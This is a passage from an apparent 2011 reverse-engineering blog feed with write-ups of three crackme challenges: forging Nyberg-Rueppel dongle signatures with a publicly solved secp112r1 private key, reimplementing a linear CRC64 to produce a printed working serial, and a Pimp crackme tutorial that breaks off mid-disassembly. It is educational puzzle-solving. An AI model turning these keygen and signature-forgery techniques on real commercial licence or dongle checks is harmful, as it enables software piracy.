<p>Finally, the most interesting part <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . To recognize used authentication scheme, make shure to apply <a href="https://github.com/pakt/RE-stuff/tree/master/biglib.sigs">IDA signatures</a> for <a href="http://www.shamus.ie" target="_blank">MIRACL</a> bignum library, otherwise you will unnecessarily spend a lot of time identifying functions. Crackme uses elliptic curve cryptography, so it&#8217;s very possible that failing to recognize MIRACL usage, would cost you digging deep into the assembly code with slim chances of making any sense out of it.</p>
<p>Cyclops used an elliptic curve variant of Nyber-Rueppel signature scheme. Current user&#8217;s username is &#8220;hashed&#8221; with CRC32. Then, CRC is compared to a message extracted from an ECNR signature read from the dongle. To pass authentication, we need to sign the CRC and push it to the dongle.</p>
<h2 style="text-align:center;margin:20px;">Nyberg-Rueppel Signature Scheme</h2>
<p>Let <img src='https://s-ssl.wordpress.com/latex.php?latex=E&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='E' title='E' class='latex' /> be an elliptic curve defined over <img src='https://s-ssl.wordpress.com/latex.php?latex=%5Cmathbb%7BZ%7D_p&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='&#92;mathbb{Z}_p' title='&#92;mathbb{Z}_p' class='latex' /> (<img src='https://s-ssl.wordpress.com/latex.php?latex=p+%3E+3&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='p &gt; 3' title='p &gt; 3' class='latex' /> prime) such that <img src='https://s-ssl.wordpress.com/latex.php?latex=E&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='E' title='E' class='latex' /> contains a cyclic subgroup <img src='https://s-ssl.wordpress.com/latex.php?latex=H&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='H' title='H' class='latex' /> in which the discrete logarithm problem is intractable.</p>
<p>Let <img src='https://s-ssl.wordpress.com/latex.php?latex=K%3D%5C%7B%28E%2Ck%2CP%2CQ%29%3A+Q%3Dk%2AP%5C%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='K=&#92;{(E,k,P,Q): Q=k*P&#92;}' title='K=&#92;{(E,k,P,Q): Q=k*P&#92;}' class='latex' />, where <img src='https://s-ssl.wordpress.com/latex.php?latex=P+%5Cin+H+%5Csubset+E&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P &#92;in H &#92;subset E' title='P &#92;in H &#92;subset E' class='latex' />. Points <img src='https://s-ssl.wordpress.com/latex.php?latex=P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P' title='P' class='latex' /> and <img src='https://s-ssl.wordpress.com/latex.php?latex=Q&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Q' title='Q' class='latex' /> are public, while <img src='https://s-ssl.wordpress.com/latex.php?latex=k&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='k' title='k' class='latex' /> is secret. For <img src='https://s-ssl.wordpress.com/latex.php?latex=K&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='K' title='K' class='latex' /> defined as above, for a (secret and random) <img src='https://s-ssl.wordpress.com/latex.php?latex=t+%5Cin+%5Cmathbb%7BZ%7D_%7B%7CH%7C%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='t &#92;in &#92;mathbb{Z}_{|H|}' title='t &#92;in &#92;mathbb{Z}_{|H|}' class='latex' /> and for a (message) <img src='https://s-ssl.wordpress.com/latex.php?latex=m+%5Cin+%5Cmathbb%7BZ%7D_p&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='m &#92;in &#92;mathbb{Z}_p' title='m &#92;in &#92;mathbb{Z}_p' class='latex' />, define:</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=sign_K%28m%2C+t%29+%3D+%28s_1%2C+s_2%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='sign_K(m, t) = (s_1, s_2)' title='sign_K(m, t) = (s_1, s_2)' class='latex' /></p>
<p style="text-align:left;">where</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=%28x_1%2C+y_1%29+%3D+t%2AP&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='(x_1, y_1) = t*P' title='(x_1, y_1) = t*P' class='latex' /></p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=s_1+%3D+x_1+%2B+hash%28m%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='s_1 = x_1 + hash(m)' title='s_1 = x_1 + hash(m)' class='latex' /> mod <img src='https://s-ssl.wordpress.com/latex.php?latex=p&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='p' title='p' class='latex' /></p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=s_2+%3D+t+-+k%2As_1&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='s_2 = t - k*s_1' title='s_2 = t - k*s_1' class='latex' /> mod <img src='https://s-ssl.wordpress.com/latex.php?latex=p&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='p' title='p' class='latex' /></p>
<p style="text-align:left;">and</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=verify_K%28m%2C+s_1%2C+s_2%29+%3D+true+%5Ciff+z%3Dhash%28m%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='verify_K(m, s_1, s_2) = true &#92;iff z=hash(m)' title='verify_K(m, s_1, s_2) = true &#92;iff z=hash(m)' class='latex' /></p>
<p style="text-align:left;">where</p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=%28x_2%2C+y_2%29+%3D+s_2%2AP+%2B+s_1%2AQ&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='(x_2, y_2) = s_2*P + s_1*Q' title='(x_2, y_2) = s_2*P + s_1*Q' class='latex' /></p>
<p style="text-align:center;"><img src='https://s-ssl.wordpress.com/latex.php?latex=z+%3D+s_1-x_2&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='z = s_1-x_2' title='z = s_1-x_2' class='latex' /></p>
<p style="text-align:left;">This works, because <img src='https://s-ssl.wordpress.com/latex.php?latex=s_2%2AP+%2B+s_1%2AQ+%3D+%28t+-+k%2As_1%29%2AP+%2B+s_1%2Ak%2AP+%3D+t%2AP&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='s_2*P + s_1*Q = (t - k*s_1)*P + s_1*k*P = t*P' title='s_2*P + s_1*Q = (t - k*s_1)*P + s_1*k*P = t*P' class='latex' />.</p>
<p style="text-align:left;">Since we now know what cryptosystem we are up against, and how to generate correct signatures, let&#8217;s take a look at curve parameters used in the crackme. Since author claims it&#8217;s solvable without patching, we expect either:</p>
<ol>
<li>a small curve, where ECDLP can be effectively solved</li>
<li>a weak curve, that is suspectible to a cryptographic attack (examples in [3])</li>
<li>something tricky <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ol>
<p>Quick inspection of parameters shows that 1) and 2) are not the case. Used curve is <strong>secp112r1</strong>, which is bad news for us, since secp* curves (their parameters) are chosen by Certicom research [2], to be optimal for cryptographic purposes. This means they provide maximal possible bit-strength security against fastest known ECDLP solving algorithms and aren&#8217;t weakened by special-case attacks.</p>
<p>Before using these curves, you may wonder how were their parameters chosen, after all, maybe <a href="http://www.nsa.gov">NSA</a> helped to pick them <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Fortunately, these concerns were anticipated and curves were generated by a SHA-1 powered PRNG, seeded with a known value and then checked for desired properties, so no parameter could be predetermined. Since seeds and PRNG implementation are public [2], you can even repeat the process and verify chosen curves yourself.</p>
<p>We are left with option 3). Before doing anything complicated, I wanted to check if the ECDLP from crackme was referenced anywhere on the Internet. secp112r1 parameters (<img src='https://s-ssl.wordpress.com/latex.php?latex=a%2C+b%2C+p&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='a, b, p' title='a, b, p' class='latex' />) are common and won&#8217;t provide any interesting clues, but coordinates of point <img src='https://s-ssl.wordpress.com/latex.php?latex=P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P' title='P' class='latex' />  (or <img src='https://s-ssl.wordpress.com/latex.php?latex=G&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='G' title='G' class='latex' /> , using Certicom&#8217;s nomenclature) could, as cyclops decided to use a non-standard base point.</p>
<p>Searching for <strong>9487239995A5EE76B55F9C2F098 </strong>(<img src='https://s-ssl.wordpress.com/latex.php?latex=x&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='x' title='x' class='latex' /> coord. of <img src='https://s-ssl.wordpress.com/latex.php?latex=P&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='P' title='P' class='latex' />) yields nothing of interest, but searching for <strong>188281465057972534892223778713752</strong> (same value, but in base 10) turns out to be a <a href="http://lacal.epfl.ch/112bit_prime">bull&#8217;s eye</a> <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> .</p>
<p>In 2009, Bos, Marcelo, Kaihara<span class="Apple-style-span" style="font-size:11px;">, </span>Kleinjung, Lenstra and Montgomery<a href="http://lacal.epfl.ch/112bit_prime"> solved an ECDLP over secp112r1</a>, using 200 PS3 consoles. ECDLP instance they were solving was <img src='https://s-ssl.wordpress.com/latex.php?latex=Q%3Dk%2AP&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='Q=k*P' title='Q=k*P' class='latex' />, where</p>
<p>P = (188281465057972534892223778713752, 3419875491033170827167861896082688),</p>
<p>Q = (1415926535897932384626433832795028, 3846759606494706724286139623885544).</p>
<p>Solution (which took ~6 months to find) is k=312521636014772477161767351856699. The exact same ECDLP is used in our crackme, so fortunately, all we have to do is to implement Nyber-Rueppel scheme and use <img src='https://s-ssl.wordpress.com/latex.php?latex=k&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='k' title='k' class='latex' /> above to emit correct signatures <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>See <a href="https://github.com/pakt/crackmes/tree/master/cyclops.dongle.me" target="_blank">here</a> for sources (dongle\ folder, crackme in crackme\ <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ).</p>
<p style="text-align:left;"><strong>References</strong></p>
<p style="text-align:left;">[1] Henna Pietiläinen, <em>Elliptic curve cryptography on smart cards</em>, page 24, <a href="http://goo.gl/Lpr4h">http://goo.gl/Lpr4h</a></p>
<p>[2] Certicom Research, <em>SEC 2: Recommended Elliptic Curve Domain Parameters</em>, 2000, <a href="http://goo.gl/sJV5A">http://goo.gl/sJV5A</a></p>
<p style="text-align:left;">[3] Matthew Musson, <em>Attacking the Elliptic Curve Discrete Logarithm Problem, </em><a href="http://goo.gl/L4Dz8">http://goo.gl/L4Dz8</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gdtr.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gdtr.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gdtr.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gdtr.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gdtr.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gdtr.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gdtr.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gdtr.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gdtr.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gdtr.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gdtr.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gdtr.wordpress.com/132/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gdtr.wordpress.com/132/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gdtr.wordpress.com/132/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=132&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>https://gdtr.wordpress.com/2011/07/10/dongles-and-nyberg-rueppel-signature-scheme/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="https://secure.gravatar.com/avatar/3ce7e4333d87845876ff400638a5f545?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gdtr</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/07/dongle-me.png" medium="image">
			<media:title type="html">dongle-me</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/07/hid_devices.png" medium="image">
			<media:title type="html">hid_devices</media:title>
		</media:content>
	</item>
		<item>
		<title>Solving confidence 2011 crackme for fun and profit</title>
		<link>https://gdtr.wordpress.com/2011/06/26/solving-confidence-2011-crackme-for-fun-and-profit/</link>
		<comments>https://gdtr.wordpress.com/2011/06/26/solving-confidence-2011-crackme-for-fun-and-profit/#comments</comments>
		<pubDate>Sun, 26 Jun 2011 18:01:38 +0000</pubDate>
		<dc:creator>p_k</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[confidence]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[crc]]></category>

		<guid isPermaLink="false">http://gdtr.wordpress.com/?p=73</guid>
		<description><![CDATA[Confidence is a security conference organized in Poland. During this year&#8217;s edition (and like during few previous editions) a crackme contest took place &#8212; attendees were invited to provide a solution (serial, keygen). The fastest one would win the prize (pocketbook reader). Surprisingly, no one was able to solve the crackme during the con, except [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=73&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:left;">Confidence is a security conference organized in Poland. During <a href="http://2011.confidence.org.pl/">this year&#8217;s edition</a> (and like during few previous editions) a crackme contest took place &#8212; attendees were invited to provide a solution (serial, keygen). The fastest one would win the prize (<a href="http://www.pocketbookreader.com/PocketBook_602.html">pocketbook reader</a>).</p>
<p style="text-align:left;"><span id="more-73"></span></p>
<p style="text-align:left;">Surprisingly, no one was able to solve the crackme during the con, except for <a href="http://simonscodes.blogspot.com/">simonzack</a>, who apparently wasn&#8217;t an attendee. Simon posted a solution few days ago, you can read it on <a href="http://simonscodes.blogspot.com/2011/06/eset-crackme-2011-solution.html">his blog</a>.</p>
<p style="text-align:left;">I didn&#8217;t plan to participate, because I didn&#8217;t want to spend time analyzing crackmes during lectures, besides I didn&#8217;t even take a laptop with me, as I figured few days without staring at a screen would have a good impact on my mental health <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> . Luckily, since no attendee provided a solution, organizers decided to prolong the contest, so I was able to take a look at the crackme after I got back from the con.</p>
<h2 style="text-align:center;">Fun</h2>
<p style="text-align:left;">I won&#8217;t bore you with deadlistings this time, but provide a high-level view of the protection and my approach.</p>
<pre>def check(name, serial):
    hash = hash(name) #identified as CubeHash, by Dcoder
    d1, d2 = mangle(hash+serial)
    return d1==const1 and d2==const2</pre>
<p>Serial is a 64-bit number. Function <strong>mangle</strong> consumes whole input buffer, one dword at a time and returns two 32-bit values. Since we can&#8217;t control <strong>hash</strong> variable, we&#8217;ll have to use <strong>serial</strong> to force <strong>mangle</strong> to return expected values (const1, const2).</p>
<p>The main problem is that <strong>mangle</strong> is very long (~10KB) and &#8220;obfuscated&#8221; with heavy macro use. Analysing it by hand seemed like a boring thing to do.</p>
<p>By the look of this function (mostly bit manipulations) and considering the fact that it takes a big buffer, with serial appended at the end I started suspecting it&#8217;s some kind of CRC. &#8220;Reversing&#8221; a N-bit CRC requires only N-bits of input (see <a href="http://www.woodmann.com/fravia/crctut1.htm">this</a>, or <a href="http://stigge.org/martin/pub/SAR-PR-2006-05.pdf">this</a>). That means if you have a buffer, and want (for example) CRC32 of that buffer to be X, you need to append a special DWORD at the end. You don&#8217;t need to bruteforce this magic DWORD, you can compute it easily.</p>
<p>By evaluating <strong>mangle</strong> on some constants you will notice its results don&#8217;t match those of a standard CRC64. Perhaps this function isn&#8217;t CRC at all? There is one property that all variants of CRC64 should share: linearity. Every CRC (starting value and polynomial don&#8217;t matter) is a homomorphism with respect to XOR:</p>
<p><img src='https://s-ssl.wordpress.com/latex.php?latex=CRC%28x+%5Coplus+y%29+%3D+CRC%28x%29+%5Coplus+CRC%28y%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='CRC(x &#92;oplus y) = CRC(x) &#92;oplus CRC(y)' title='CRC(x &#92;oplus y) = CRC(x) &#92;oplus CRC(y)' class='latex' /></p>
<p>Proof <a href="http://www.daimi.au.dk/~ivan/cryptology-wep.pdf">here</a> (appendix A). Quick check in a debugger shows that&#8217;s indeed the case.</p>
<p>With this information, we can easily reimplement the algorithm, by observing that any value can be represented as a XOR of powers of 2. For example: <img src='https://s-ssl.wordpress.com/latex.php?latex=1011+%3D+1000+%5Coplus+0000+%5Coplus+0010+%5Coplus+0001&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='1011 = 1000 &#92;oplus 0000 &#92;oplus 0010 &#92;oplus 0001' title='1011 = 1000 &#92;oplus 0000 &#92;oplus 0010 &#92;oplus 0001' class='latex' /></p>
<p>Generally, let <img src='https://s-ssl.wordpress.com/latex.php?latex=e_i+%3D+2%5Ei&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='e_i = 2^i' title='e_i = 2^i' class='latex' />, then (our variant takes one dword at a time):</p>
<p><img src='https://s-ssl.wordpress.com/latex.php?latex=CRC64%28%5Csum_%7Bi%3D0%7D%5E%7B31%7D+e_i%29+%3D+CRC64%28e_0%29+%5Coplus+CRC64%28e_1%29+%5Coplus+...+%5Coplus+CRC64%28e_%7B31%7D%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='CRC64(&#92;sum_{i=0}^{31} e_i) = CRC64(e_0) &#92;oplus CRC64(e_1) &#92;oplus ... &#92;oplus CRC64(e_{31})' title='CRC64(&#92;sum_{i=0}^{31} e_i) = CRC64(e_0) &#92;oplus CRC64(e_1) &#92;oplus ... &#92;oplus CRC64(e_{31})' class='latex' /></p>
<p>As a consequence, it&#8217;s sufficient to compute <img src='https://s-ssl.wordpress.com/latex.php?latex=CRC64%28e_i%29&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='CRC64(e_i)' title='CRC64(e_i)' class='latex' /> for <img src='https://s-ssl.wordpress.com/latex.php?latex=0%5Cleq+i+%5Cleq+31&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='0&#92;leq i &#92;leq 31' title='0&#92;leq i &#92;leq 31' class='latex' />, to be able to evaluate <img src='https://s-ssl.wordpress.com/latex.php?latex=CRC64&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='CRC64' title='CRC64' class='latex' /> for any input. We can use the crackme itself to compute these values, with a bit of OllyScript magic <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Here&#8217;s the reimplemented CRC64:</p>
<pre>def crc64(hi, lo, tab, dw): #tab is the ripped table
    HI = 0
    LO = 1

    old_lo = lo

    lo = 0
    hi = 0
    for pos in range(32):
        b = dw&gt;&gt;pos
        b = b &amp; 1
        if b:
            hi ^= tab[pos][HI]
            lo ^= tab[pos][LO]

    return (hi^old_lo,lo)</pre>
<p>Much better than ~10KB of code <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<br />
Back when I was solving it, time was of essence &#8212; I didn&#8217;t knew with how many people I&#8217;m racing for a solution, so instead of reversing this algorithm (it&#8217;s a set of linear equations, tab is a matrix, dword a vector, and it can be solved fast with gaussian elimination, for example) I ported it to C and bruteforced a solution (~10 mins).</p>
<p>There are few technicalities left out. Producing a working serial is a bit more complicated, than just reversing the CRC, but in my opinion that was the biggest obstacle worth describing.</p>
<p>So here it is, a working serial number:</p>
<pre>pa_kt
7e476857-pcp1aa1agslatl3tptgs</pre>
<p>Crackme and sources are available <a href="https://github.com/pakt/crackmes/tree/master/confidence.2011">here</a>.</p>
<h2 style="text-align:center;">Profit</h2>
<table align="center">
<tbody>
<tr>
<td><a href="http://gdtr.files.wordpress.com/2011/06/002.jpg"><img class="size-medium wp-image-118 alignnone" title="002" src="http://gdtr.files.wordpress.com/2011/06/002.jpg?w=224&#038;h=300" alt="" width="224" height="300" /></a></td>
<td><a href="http://gdtr.files.wordpress.com/2011/06/003.jpg"><img class="size-medium wp-image-119 alignnone" title="003" src="http://gdtr.files.wordpress.com/2011/06/003.jpg?w=224&#038;h=300" alt="" width="224" height="300" /></a></td>
</tr>
</tbody>
</table>
<p style="text-align:left;">These photos could have been better, sorry about that <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> . If you are wondering: the OS is just custom a linux distro, you can upload your binaries and run them without any restrictions, so there is nothing to break, unfortunately <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p>Speaking of linux, crackme unpacks an ELF binary from its resources (.rsrc section) and cleverly maps into it&#8217;s own address space. It&#8217;s quite cool, so <a href="https://github.com/pakt/crackmes/tree/master/confidence.2011">check it out</a> <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/gdtr.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/gdtr.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/gdtr.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/gdtr.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/gdtr.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/gdtr.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/gdtr.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/gdtr.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/gdtr.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/gdtr.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/gdtr.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/gdtr.wordpress.com/73/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/gdtr.wordpress.com/73/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/gdtr.wordpress.com/73/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=73&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>https://gdtr.wordpress.com/2011/06/26/solving-confidence-2011-crackme-for-fun-and-profit/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="https://secure.gravatar.com/avatar/3ce7e4333d87845876ff400638a5f545?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">gdtr</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/06/002.jpg?w=224" medium="image">
			<media:title type="html">002</media:title>
		</media:content>

		<media:content url="http://gdtr.files.wordpress.com/2011/06/003.jpg?w=224" medium="image">
			<media:title type="html">003</media:title>
		</media:content>
	</item>
		<item>
		<title>Solving Pimp crackme by j00ru and Gynvael Coldwind</title>
		<link>https://gdtr.wordpress.com/2011/06/24/solving-pimp-crackme-by-j00ru-and-gynvael-coldwind/</link>
		<comments>https://gdtr.wordpress.com/2011/06/24/solving-pimp-crackme-by-j00ru-and-gynvael-coldwind/#comments</comments>
		<pubDate>Fri, 24 Jun 2011 18:34:54 +0000</pubDate>
		<dc:creator>p_k</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>
		<category><![CDATA[crackme]]></category>
		<category><![CDATA[idapython]]></category>
		<category><![CDATA[pimp]]></category>
		<category><![CDATA[reverse engineering]]></category>
		<category><![CDATA[virtual machine]]></category>

		<guid isPermaLink="false">http://gdtr.wordpress.com/?p=7</guid>
		<description><![CDATA[I figured a nice tutorial would be more interesting than yet another &#8220;hello world&#8221; post, so here it goes &#8212; solution for Pimp crackme, a winning entry for Pimp my crackme contest (polish) by j00ru and Gynvael. You can download entires (all three of them) from the contest&#8217;s page. AFAIK I&#8217;m the only person who [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=gdtr.wordpress.com&amp;blog=24443863&amp;post=7&amp;subd=gdtr&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I figured a nice tutorial would be more interesting than yet another &#8220;hello world&#8221; post, so here it goes &#8212; solution for Pimp crackme, a winning entry for <a href="http://www.secnews.pl/2011/05/16/wyniki-konkursu-pimp-my-crackme/" target="_blank">Pimp my crackme contest</a> (polish) by <a href="http://j00ru.vexillum.org" target="_blank">j00ru</a> and <a href="http://gynvael.coldwind.pl" target="_blank">Gynvael</a>. You can download entires (all three of them) from the contest&#8217;s page. AFAIK I&#8217;m the only person who submitted a solution.</p>
<p>Let&#8217;s see what we are up against.</p>
<p><a href="http://gdtr.files.wordpress.com/2011/06/pimp.png"><img class="aligncenter size-full wp-image-9" title="Pimp crackme" src="http://gdtr.files.wordpress.com/2011/06/pimp.png?w=600" alt=""   /></a></p>
<p>Looks nice <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><span id="more-7"></span></p>
<p>There are four columns consisting of four symbols. Each column has it own color, so that makes 16 unique symbols, easy math there <img src='https://s-ssl.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Since serial&#8217;s length is also 16 characters, we can&#8217;t bruteforce a solution &#8212; total number of combinations is <img src='https://s-ssl.wordpress.com/latex.php?latex=16%5E%7B16%7D%3D2%5E%7B64%7D&amp;bg=ffffff&amp;fg=555555&amp;s=0' alt='16^{16}=2^{64}' title='16^{16}=2^{64}' class='latex' />, 64 bits is outside of our reach, unless you have resources comparable to those of <a href="http://www.distributed.net/images/9/92/20020925_-_PR_-_64_bit_solved.pdf" target="_blank">disitributed.net</a> at your disposal.</p>
<p>First thing we need to do is to identify a procedure that checks if the serial we provided is correct. Normally, we would look at cross-references (in IDA) for the message informing about success / failure, but in this case we can&#8217;t &#8212; crackme stores these messages as images, not strings, so we need to try something different.</p>
<p>Let&#8217;s try to follow execution from the beginning, to see how the main window is created, that should give us information about the window&#8217;s procedure and how it processes messages.</p>
<pre>.text:004015BC                 push    offset stru_40D000 ; WNDCLASSEXA *
.text:004015C1                 call    RegisterClassExA
(...)
.text:00401625                 push    0               ; lpParam
.text:00401627                 push    ebx             ; hInstance
.text:00401628                 push    0               ; hMenu
.text:0040162A                 push    0               ; hWndParent
.text:0040162C                 push    190h            ; nHeight
.text:00401631                 push    190h            ; nWidth
.text:00401636                 push    esi             ; Y
.text:00401637                 push    eax             ; X
.text:00401638                 push    90000000h       ; dwStyle
.text:0040163D                 push    offset WindowName ; "Pimp CrackMe"
.text:00401642                 push    offset ClassName ; "i"
.text:00401647                 push    0               ; dwExStyle
.text:00401649                 call    CreateWindowExA</pre>
<p>Structure WNDCLASSEXA in this case is:</p>
<pre>.data:0040D000 stru_40D000     WNDCLASSEXA &lt;30h, 0, offset windows_proc, 0, 0,
0, 0, 0, 5, 0, \
.data:0040D000                              offset ClassName, 0&gt; ; "i"</pre>
<p>windows_proc is, as name suggests, the message handling procedure of the main window. Let&#8217;s look inside.</p>
<pre>  if ( Msg == WM_PAINT )
  {
    if ( (unsigned __int8)thread_spawned ^ 1 )
    {
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)paint_thread, 0, 0, &amp;ThreadId);
      thread_spawned = 1;
    }
    hdc = BeginPaint(hWnd, &amp;Paint);
    StretchDIBits(hdc, 0, 0, 400, 400, 0, 0, 400, 400, lpBits, &amp;bmi, 0, 0xCC0020u);
    EndPaint(hWnd, &amp;Paint);
    return 0;
  }</pre>
<p>Now, inside paint_thread:</p>
<pre>.text:00402A18                 mov     eax, [ebp+var_4]
.text:00402A1B                 mov     cl, byte_40D040[eax]
.text:00402A21                 movzx   eax, cl
.text:00402A24                 mov     edx, 0
.text:00402A29                 mov     ecx, 0Fh
.text:00402A2E                 sub     ecx, [ebp+var_4]
.text:00402A31                 shl     ecx, 2
.text:00402A34                 shld    edx, eax, cl
.text:00402A37                 shl     eax, cl
.text:00402A39                 test    cl, 20h
.text:00402A3C                 jz      short loc_402A42
.text:00402A3E                 mov     edx, eax
.text:00402A40                 xor     eax, eax
.text:00402A42
.text:00402A42 loc_402A42:
.text:00402A42                 or      [ebp+var_10], eax
.text:00402A45                 or      [ebp+var_C], edx
.text:00402A48                 inc     [ebp+var_4]
